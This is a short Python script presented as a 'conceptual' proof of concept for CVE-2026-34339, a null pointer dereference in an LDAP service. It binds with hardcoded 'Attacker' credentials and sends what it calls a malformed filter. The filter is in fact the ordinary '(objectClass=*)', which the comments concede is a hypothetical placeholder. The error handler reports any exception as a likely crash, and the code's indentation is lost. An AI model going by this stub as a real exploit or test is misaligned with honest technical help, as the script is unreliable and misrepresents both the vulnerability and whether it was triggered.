The following code is for security research and authorized testing only.
python
import ldap3
# PoC for CVE-2026-34339 (Conceptual)
# This script attempts to trigger the Null Pointer Dereference
# by sending a malformed request to the local LDAP service.
server = 'ldap://localhost'
user = 'CN=Attacker,CN=Users,DC=domain,DC=com'
password = 'Password123'
try:
# Establish connection
conn = ldap3.Connection(server, user=user, password=password, auto_bind=True)
print("[+] Connected to LDAP server")
# Malformed control or filter to trigger the vulnerability
# Note: The specific malformed packet structure depends on the actual vulnerability details.
# This is a placeholder demonstrating the trigger mechanism.
malformed_filter = '(objectClass=*)' # Hypothetical trigger
# Send search request
conn.search(search_base='', search_filter=malformed_filter, attributes=['*'])
print("[+] Packet sent, checking service status...")
except Exception as e:
print(f"[-] Error occurred: {e}")
print("[!] Service might have crashed due to Null Pointer Dereference.")